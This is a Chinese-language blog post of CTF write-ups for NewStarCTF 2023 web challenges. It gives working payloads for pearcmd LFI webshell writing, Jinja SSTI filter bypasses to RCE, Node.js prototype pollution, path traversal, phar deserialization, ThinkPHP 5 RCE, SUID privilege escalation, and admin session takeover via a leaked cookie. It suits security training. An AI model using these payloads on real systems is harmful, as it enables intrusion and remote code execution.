ctf刷题记录2(更新中)

news2024/11/27 4:40:36

因为csdn上内容过多编辑的时候会很卡,因此重开一篇,继续刷题之旅。

 NewStarCTF 2023

WEEK3

Include 🍐

 <?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?> 

看到源码中给出提示,包含phpinfo.php文件,包含后显示了phpinfo,搜索flag发现

结合文件包含和题目的提示,无疑就是利用pearcmd.php本地文件包含(LFI)。

pear全称PHP Extension and Application Repository,php扩展和应用仓库,在docker中默认安装,路径为/user/local/lib/php.

 关于pearcmd.php的介绍和利用直接放链接了

CTF中的pearcmd.php文件包含_XINO丶的博客-CSDN博客

大概意思就是我们可以利用pear中的命令,命令的参数来自于我们的url栏,用+分隔,因此是可控的,但是前提是register_argc_argv需要开启,且需要包含/usr/local/lib/php/pearcmd.php.

在题目中文件包含结尾会自动加上.php,需要注意,先放最后的payload

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

+分隔的第一部分是执行的pear命令config-create(这个命令在上文的链接中有讲),取第一个参数为文件内容,第二个参数为写入文件的路径。

第二部分是/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>

第三部分是/tmp/test.php

因此最后会将/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>写入/tmp/test.php,同时include函数会包含&file=/usr/local/lib/php/pearcmd.php(这个.php是题目添加的),最后执行rce。

进入/tmp/test.php中就可以任意命令执行了。

 GenShin

打开靶机抓包后能在返回头中看到真正的题目地址 /secr3tofpop

猜测是ssti,测试的时候发现{{被过滤,由此确定是ssti注入.

用burp进行fuzz测试看看过滤了什么(字典并不全,只记了常用的)

没有过滤%,我们可以尝试用{%print()%}来输出

拿到全部子类后,这里我选择去子类的全局变量(通过__globals__魔术方法)中去取popen方法

init被过滤了,我们可以通过attr过滤器来绕过(如果对这些ssti基础知识还不了解的话,可以去看我写的ssti的博客)。

?name={%print(([].__class__.__base__.__subclasses__()[132]|attr("__i""nit__")).__globals__)%}

最后命令执行的时候发现还过滤了空格(字典里没有。。。,测了半天才发现),用<>绕过即可(不懂怎么绕过的可以去看我的rce博客。。。)

?name={%print(([].__class__.__base__.__subclasses__()[132]|attr("__i""nit__")).__globals__)["pop""en"]("cat<>/flag").read()%}

拿到flag

做题中出现过一个问题,下面这个payload是会报错的,

?name={%print([].__class__.__base__.__subclasses__()[1]|attr("__i""nit__").__globals__["__buil""tins__"])%}

在使用了attr过滤器后需要在两边加上一对括号,即在下面部分两边加括号

([].__class__.__base__.__subclasses__()[1]|attr("__i""nit__")

最后的结果就是

?name={%print(([].__class__.__base__.__subclasses__()[1]|attr("__i""nit__")).__globals__["__buil""tins__"])%}

(可能是吃了不会python的亏)

 Otenkigirl

题目直接给了源文件,然后文件里给了hint只看route文件夹即可。ok,接下来就是紧(我)张(人)刺(麻)激(了)的代码审计环节

info.js

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

router.post("/info/:ts?", async (ctx) => {
    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/x-www-form-urlencoded"
        }
    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
    if (typeof timestamp !== "number")
        return ctx.body = {
            status: "error",
            msg: "Invalid parameter ts"
        }

    try {
        const data = await getInfo(timestamp).catch(e => { throw e });
        ctx.body = {
            status: "success",
            data: data
        }
    } catch (e) {
        console.error(e);
        return ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

module.exports = router;

先看getInfo函数,传入一个时间戳timestamp,如果类型是数字,就不变,如果不是数字,就将timestamp的值改成当前的时间,然后设立最小时间minTimestamp,由上级目录中的config文件和config.default文件获取,即源码文件夹下的这两个文件,其中只有config.default文件中有。

然后timestamp的值取最小时间minTimestamp和原先timestamp的值中较大的那个,查询数据库中时间后于timestamp的数据。

再看router.post("/info/:ts?", async (ctx)发送请求这一段(设置请求目的地址时的:ts? ‘:’ 表示动态参数,ts 是参数的名称。‘?’ 表示该参数是可选的,即可以省略不传递。)

比较难理解的就是:

const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
  1. /^[0-9]+$/ 是一个正则表达式,用于匹配字符串是否只包含数字字符。这里的目的是判断 ctx.params.ts 是否为纯数字。

  2. test(ctx.params.ts || "") 表示对 ctx.params.ts 进行正则表达式的匹配测试。如果 ctx.params.ts 为空或未定义,将会匹配空字符串。

  3. 如果正则表达式匹配成功,即 ctx.params.ts 是一个纯数字字符串,那么 Number(ctx.params.ts) 将会将其转换为数值类型,并赋值给 timestamp 变量。

  4. 如果正则表达式匹配失败,即 ctx.params.ts 不是纯数字字符串,那么 ctx.params.ts 将会直接赋值给 timestamp 变量。

当timestamp是纯数字字符串时,就会作为参数调用getInfo函数。

const data = await getInfo(timestamp).catch(e => { throw e });

submit.js

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const Base58 = require("base-58");

const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const rndText = (length) => {
    return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}

const timeText = (timestamp) => {
    timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
    let text1 = timestamp.substring(0, timestamp.length / 2);
    let text2 = timestamp.substring(timestamp.length / 2)
    let text = "";
    for (let i = 0; i < text1.length; i++)
        text += text1[i] + text2[text2.length - 1 - i];
    if (text2.length > text1.length) text += text2[0];
    return Base58.encode(rndText(3) + Buffer.from(text)); // length = 20
}

const rndID = (length, timestamp) => {
    const t = timeText(timestamp);
    if (length < t.length) return t.substring(0, length);
    else return t + rndText(length - t.length);
}

async function insert2db(data) {
    let date = String(data["date"]), place = String(data["place"]),
        contact = String(data["contact"]), reason = String(data["reason"]);
    const timestamp = Date.now();
    const wishid = rndID(24, timestamp);
    await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
        [wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
    return { wishid, date, place, contact, reason, timestamp }
}

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

router.post("/submit", async (ctx) => {
    if (ctx.header["content-type"] !== "application/json")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/json"
        }

    const jsonText = ctx.request.rawBody || "{}"
    try {
        const data = JSON.parse(jsonText);

        if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
            return ctx.body = {
                status: "error",
                msg: "Invalid parameter"
            }
        if (data["contact"].length <= 0 || data["reason"].length <= 0)
            return ctx.body = {
                status: "error",
                msg: "Parameters contact and reason cannot be empty"
            }

        const DEFAULT = {
            date: "unknown",
            place: "unknown"
        }
        const result = await insert2db(merge(DEFAULT, data));
        ctx.body = {
            status: "success",
            data: result
        };
    } catch (e) {
        console.error(e);
        ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

module.exports = router;

关键代码段,看到merge函数了,结合前文的时间戳,应该是要原型链污染最小时间来获取最小时间之前的数据。

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

再看submit请求的代码段

router.post("/submit", async (ctx) => {
    if (ctx.header["content-type"] !== "application/json")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/json"
        }

    const jsonText = ctx.request.rawBody || "{}"
    try {
        const data = JSON.parse(jsonText);

        if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
            return ctx.body = {
                status: "error",
                msg: "Invalid parameter"
            }
        if (data["contact"].length <= 0 || data["reason"].length <= 0)
            return ctx.body = {
                status: "error",
                msg: "Parameters contact and reason cannot be empty"
            }

        const DEFAULT = {
            date: "unknown",
            place: "unknown"
        }
        const result = await insert2db(merge(DEFAULT, data));
        ctx.body = {
            status: "success",
            data: result
        };
    } catch (e) {
        console.error(e);
        ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

从代码中我们可以看到我们请求携带的数据需要时json格式,这一点通过抓包我们也能看到

然后调用了merge函数  

const result = await insert2db(merge(DEFAULT, data));
//const DEFAULT = {date: "unknown", place: "unknown"}

getInfo中min_public_time是通过下面代码得到的,||判断会先执行前面的内容,如果CONFIG中有min_public_time,就会取这个而非DEFAULT_CONFIG中的min_public_time。

let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();

而../config.default文件导出的是一个对象,那么他的原型就是Object

module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
    min_public_time: "2019-07-09",
    server_port: 9960,
    webpack_dev_port: 9970
}

因此我们可以污染CONFIG的原型对象,也就是Object .prototype.min_public_time,来控制min_public_time的值 

 抓包修改数据即可(不懂原型链污染的可以去看看我的其他博客。。。)

写个脚本post请求/info/0即可,但要注意源码中对contenttype有限制。

import requests
url="http://e2c44204-c969-4b72-b9b8-c26de6009699.node4.buuoj.cn:81/info/0"
data = {'user':'Tom','password':'123456'}
res=requests.post(url=url,headers={'content-type':'application/x-www-form-urlencoded'}).text
print(res)

 拿到flag

WEEK4

InjectMe

有一说一newstar的题目质量都挺高的,反正对我这种在入门边缘反复横跳的ctf糕手来讲能学到很多东西,ok,不多bb,开始今天的题目浮现

好图(bushi),摸索一番发现图片可以点击,跳转到 /cancanneed,出现以下内容,然后点击链接

出现很多我们能看的图片,在110.jpg中我们看到了部分源码

 可以看到是个下载文件的代码,在download路由下,但对文件名有过滤,过滤了../,但是很容易发现他只进行了一次过滤,因此很简单就可以绕过,根据经验猜测一下文件名,然后一层一层往上找即可,最后payload:/download/?file=..././..././..././app/app.py,拿到源码

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

关键就在于backdoor函数了,源码开头看到secret_key,这里又需要让session的值可控,session伪造无疑了,然后禁用了一大堆ssti函数,肯定是要打ssti了,于是思路就很明确了,但是要想name参数可控,还缺secret_key的值,在开头我们发现secret_key是从config文件中导入了,因此我们还需要下载一下config文件

payload:download/?file=..././..././..././app/config.py

拿到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

过滤了很多东西,这里直接八进制编码绕过即可,拿这个payload打

{{x.__init__.__globals__.__getitem__.('__builtins__').__getitem__.('eval')('__import__("os").popen("ls /").read()')}}

自己写了一个小脚本

import re
import requests
# {{x.__init__.__globals__.__getitem__.('__builtins__').__getitem__.('eval')('__import__("os").popen("ls /").read()')}}用这个命令打


def octal(s):
    octal_ascii = ""
    for char in s:
        char_code = ord(char)
        octal_ascii += "\\\\"+format(char_code, '03o')  # "\\\\"表示\\,前一个\是转义符
    return octal_ascii  # format 函数将字符的 ASCII 值 char_code 转换为八进制字符串。

    # 参数 '03o' 指定了格式化的规则,其中 'o' 表示将值转换为八进制,而 '03' 说明将结果格式化为三位数,不足三位时在前面添加零。

def sp(s):
    return s.split('.')

eval_shell = "\"\""+octal("__import__(\"os\").popen(\"cat /*\").read()")+"\"\""
#print(eval_shell)
dist=sp("__init__.__globals__.__getitem__.__builtins__.__getitem__.eval")   #.__builtins__.实际上是错误的,正确的是.__getitem__.('__builtins__')
shell="x"                                                                   #这里为了方便编码所以这样设置
for str in dist:
    shell+="|attr({})".format("\"\""+octal(str)+"\"\"")
print(shell+'('+eval_shell+')')



x|attr(""\\137\\137\\151\\156\\151\\164\\137\\137"")|attr(""\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")|attr(""\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")|attr(""\\145\\166\\141\\154"")(""\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\143\\141\\164\\040\\057\\052\\042\\051\\056\\162\\145\\141\\144\\050\\051"")

因此脚本偷懒了,所以需要手动删除加红的两处

(也就是解码后的这个位置.__getitem__.|attr('__builtins__'))

最后用大佬写的session伪造的脚本伪造session即可,这里放一下脚本的链接

# https://github.com/noraj/flask-session-cookie-manager

链接里面有说明使用方法,这里再说一下

#解密:python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"

#加密:python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

伪造后的session:.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.ZVd5wg.NN4PVUmSQiA6Ll-XV1SkJq_5b50

改包然后发包即可

 OtenkiBoy

是week3中Otenkgirl的升级版,但难度差的不是一星半点,js基础不行的话根本就做不出来,打的时候纯坐牢,赛后看wp似懂非懂,如今写wp更是一脸迷茫(bushi),我尽量能够讲的清楚一点吧

依旧是两个主要的文件,info.js,submit.js,但这次的geiinfo()函数没有那么简单能够利用了,config文件和default_config 文件中都有min_public_time。

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp;
    try {
        minTimestamp = createDate(CONFIG.min_public_time).getTime();
        if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
    } catch (e) {
        console.warn(`\x1b[33m${e.message}\x1b[0m`);
        console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
        minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
    }
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

可以看到minTimestamp的值都与createDate函数有关,我们去看看函数的具体实现(恁长,所以我直接选一些片段了)。

const createDate = (str, opts) => {
    const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
    if (typeof opts === "undefined") opts = CopiedDefaultOptions
    if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
    opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
    opts.format = opts.format || CopiedDefaultOptions.format;
    if (!Array.isArray(opts.format)) opts.format = [opts.format]
    opts.format = opts.format.filter(f => typeof f === "string")
        .filter(f => {
            if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
                console.warn(`Invalid format "${f}".`, `At least one format specifier is required.`);
                return false;
            }
            if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
                console.warn(`Invalid format "${f}".`, `Delimeters are required between format specifiers.`);
                return false;
            }
            if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
                console.warn(`Invalid format "${f}".`, `"yyyy" and "yy" cannot be used together.`);
                return false;
            }
            return true;
        })
    opts.baseDate = new Date(opts.baseDate || Date.now());

可以看到createDate函数能够接受两个参数,如果没有传入opts参数,那么直接返回,没有可操作的地方,因此在gitInfo函数中,如果createDate函数的返回值没问题,那么全剧终,利用不了一点,但是如果有问题的话,就会调用catch中的代码,此时是会传入一个opts参数的,因此,第一个目标就是要让createDate函数的返回值出错。

继续往下看,因为我们传入的opts参数中没有format属性,因此下面代码很明显是可以原型链污染控制opts.format的值的,先留个心眼。

opts.format = opts.format || CopiedDefaultOptions.format;

同理下面这行代码也可以做到原型链污染

 opts.baseDate = new Date(opts.baseDate || Date.now());

根据提示,我们再来看下面这段函数

const getHMS = (time) => {
            let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/.exec(time.trim())
            if (regres === null) return {}
            let [n1, n2, n3, n4] = [regres[1], regres[2], regres[4], regres[6]].map(t => typeof t === "undefined" ? undefined : Number(t));
            if (typeof n3 === "undefined") n3 = 0; // 23:59(:59)?
            if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59) {
                // 23:59:59(.999)?
                let HH = pad(n1, 2), mm = pad(n2, 2), ss = pad(n3, 2),
                    fff = typeof n4 === "undefined" ? undefined : pad(n4, 3).substring(0, 3);
                const o = { HH, mm, ss }
                if (typeof fff !== "undefined") o.fff = fff;
                return o;
            } else return {}
        }

大致意思是将传入的时间先分开成时、分、秒、毫秒,n1=regres[1]=时,n2=regres[2]=分,n3=regres[3]=秒,n4=regres[4]=毫秒,当传入的时间中没有毫秒,最后返回的对象也不会有fff属性。在后面注释fallback to automatic detection的部分,有这样的代码,因此如果getHMS函数返回的对象不存在fff属性,就能触发原型链污染。

const { HH, mm, ss, fff } = getHMS(time_str)

利用的地方讲的差不多了,我们现在来思考如何把他串起来,首先我们考虑如何让createData函数的返回值无效,观察函数的代码,我们发现能够返回的地方有两个,一个实在format模式下,一个是在fallback to automatic detection模式下(先执行format),先看format。

if (Number.isSafeInteger(d.getTime())) return d;

上面代码可以看出想要返回无效值是不可能的,因此我们需要想办法绕过format,根据wp可知此处只需要污染basedata即可绕过,同时format函数中还有一段较为关键的代码

sortTable.forEach((f, i) => {
                    if (f == "yy") {
                        let year = Number(regres[i + 1])
                        year = year < 100 ? (1900 + year) : year;
                        return argTable["yyyy"] = year;
                    }
                    argTable[f] = Number(regres[i + 1])
                })

表示支持yy标识符,当年份小于100时,我们认为是20世纪的年份

举例来说,如果format20yy-MM-dd,在format解析字符串2023-10-01时,将解析yy23,输出输出为1923,最终输出的年份是1923-10-01,这一点可以帮助我们获取很早时间的数据。

最后再看fallback to automatic detection模式,当fff为string时直接返回,结合上文我们可以污染fff为无效的字符,使最后的返回时间无效,执行最开头catch中的内容,此时取得是DEFAULT_CONFIG.min_public_time,也就是min_public_time: "2019-07-08T16:00:00.000Z",结合之前讲的yy标识符,我们只需要污染format为:yy19-MM-ddTHH:mm:ss.fffZ                  就能将返回时间改成shou1919-07-08T16:00:00.000Z.

if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string" &&
                typeof HH === "string" && typeof mm === "string" && typeof ss === "string") {
                return new Date(`${yyyy}-${MM}-${dd}T${HH}:${mm}:${ss}` + (typeof fff === "string" ? `.${fff}` : "") + (UTC ? "Z" : ""));
            } else return new Date("Invalid Date");

ok,看到这里是不是头都大了,我们结合payload梳理一下

{  
    "contact":"a", "reason":"a",  
    "constructor":{    
        "prototype":{      
            "format": "yy19-MM-ddTHH:mm:ss.fffZ",      
            "baseDate":"aaa",      
            "fff": "bbb"    
        }  
    }
}

污染database和fff来绕过format模式——》

污染format模板使他可以以yy模式匹配min_public_time: "2019-07-08T16:00:00.000Z"——》

将createData返回的时间成功改为1919-07-08T16:00:00.000Z

最后就是发包即可。

 WEEK5

Unserialize Again

这一题有70多个人做出来,有点多可能是因为它存在非预期解。。。。。有点少可能是因为很多人都以为第五周的题目不会那么简单。。。。。

进题目F12告诉我们cookie中有东西,抓包进入pairing.php,直接给了代码

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 

先将非预期解吧,直接跳过反序列化看最后的一小段

if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}

把php://input的内容写进$pear 中,文件的路径和名称我们都可控,只要大胆猜测当前页面在/var/www/html下即可(做题的经验),将payload:<?php eval($_POST['cmd']);?>  urlencode后传入即可。

再来讲预期解,能传入文件,有反序列化,又有file_exists()函数,一看就是phar反序列化了,反序列化很简单,只要绕过wakeup函数即可,查看php版本为7.0.9,只要让真实属性值不匹配即可。下面是脚本

<?php
class story{
    public $eating = 'cat /f*';
    public $God='true';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //生成时后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

将生成的phar.phar文件打开,将2改成大于2的值,例如3,4都可

因为我们修改了phar.phar的值,因此该文件的签名与修改后的文件不匹配,我们需要用脚本更新签名,下面放一下脚本

from hashlib import sha1
 
import gzip
 
file = open(r'D:\phpstudy_pro\WWW\php\phar.phar', 'rb').read()  #文件的路径
 
data = file[:-28]  # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup
 
final = file[-8:]  # 获取最后8位GBMB标识和签名类型
 
newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB
 
open(r'D:\phpstudy_pro\WWW\php\new.phar', 'wb').write(newfile)  # 写入到新的phar文件
 
newf = gzip.compress(newfile)
with open(r'D:\phpstudy_pro\WWW\php\2.jpg', 'wb') as file: #更改文件后缀
     file.write(newf)

  改完后上传文件,利用phar协议访问即可

?pear=1.phar&apple=phar://1.phar

 Final

进题目一看是THINKPHP V5版本,让他报错看一下具体的版本信息

然后直接上网搜该版本存在的漏洞即可

payload:

/index.php?s=captcha     //文件路径
POST: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=5

其中filter[]的值是我们要执行的命令,server[REQUEST_METHOD]的值是命令的参数(因为源码实际使用的是call_user_func来执行命令的)。

可以看到system函数被禁用,可以用exec函数写一句话木马

POST: _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/1.php

蚁剑连接后找flag,看到flag的文件需要权限,还得suid提权。

先找有suid权限的文件(这题是赛后复现,环境好像有点问题,没有回显,我就按正常的提权思路写了)

find / -user root -perm -4000 -print 2>/dev/null

可以看到cp命令有suid权限,我们利用其来提权读取flag即可

cp /flag_dd3f6380aa0d /dev/stdout

 NextDrive

进去题目后随便注册一个账号,把公共资源区的文件都下下来看看,发现这个文件中有蹊跷。

根据test.req.http这个名字猜测这个文件可能有敏感信息,这条记录在公共资源区并没有,得想办法获得这个文件,发现在我的资源区可以上传文件,先随便上传一个文件,抓包看看。

一共抓到两个包,后一个就是上传文件的请求,前一个check包中应该进行了检测,可以看到我们请求的数据只有hash值和文件名,应该就是根据文件名和hash值来检测的,前文我们已经有了test.req.http的hash值,直接改包上传即可

这时候就能看到资源区出现了1.txt,打开可以看到应该是一个分享文件的请求,发现其中的cookie和我们的不一样,猜测应该是admin对应的cookie

POST /api/info/drive/sharezone HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiIyMTBjZmQ2NTkyZWM0ZjRjMmMzYjljZTY3ZDExNDVmZmQxNWM5MjZlNjI3YmMwYjU2MGUxMmUxNmI2Yjg0ZDg0In0uXh5BcmMxSFBCZV41LSAhLw.XW5QWmdTHl1HLAZLck9MAgs7BQk3ABQKFCoHGSNNTAUPOVgLYldIDRYvUBR3GUwCCTlWDWcBSl0TfwYfdU0aAl1pAQFnABgAEXcFHnAWTgcIOlVbMQAeXUJ4BkghT01RC2hVD2RXHgBHL1MbcRhNXAw+AV1jW0oKR35SG38YS10
Host: localhost:21920
Origin: http://localhost:21920
Pragma: no-cache
Referer: http://localhost:21920/sharezone
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

将uid和token修改成上面的内容,发现我们的账号变成了admin。

 自己的资源区中有个share.js文件,下载下来看看。

const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
 * @deprecated
 * ! FIXME: 发现漏洞,请进行修改
 */
router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

    // 参数校验
    if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
        // invalid params or query
        ctx.set("X-Error-Reason", "Invalid Params");
        ctx.status = 400; // Bad Request
        return ctx.res.end();
    }

    // 是否为共享的文件
    let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
    if (!IS_FILE_EXIST) {
        ctx.set("X-Error-Reason", "File Not Found");
        ctx.status = 404; // Not Found
        return ctx.res.end();
    }

    // 系统中是否存储有该文件
    let IS_FILE_EXIST_IN_STORAGE
    try {
        IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
    } catch (e) {
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }
    if (!IS_FILE_EXIST_IN_STORAGE) {
        logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }

    // 文件名处理
    let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
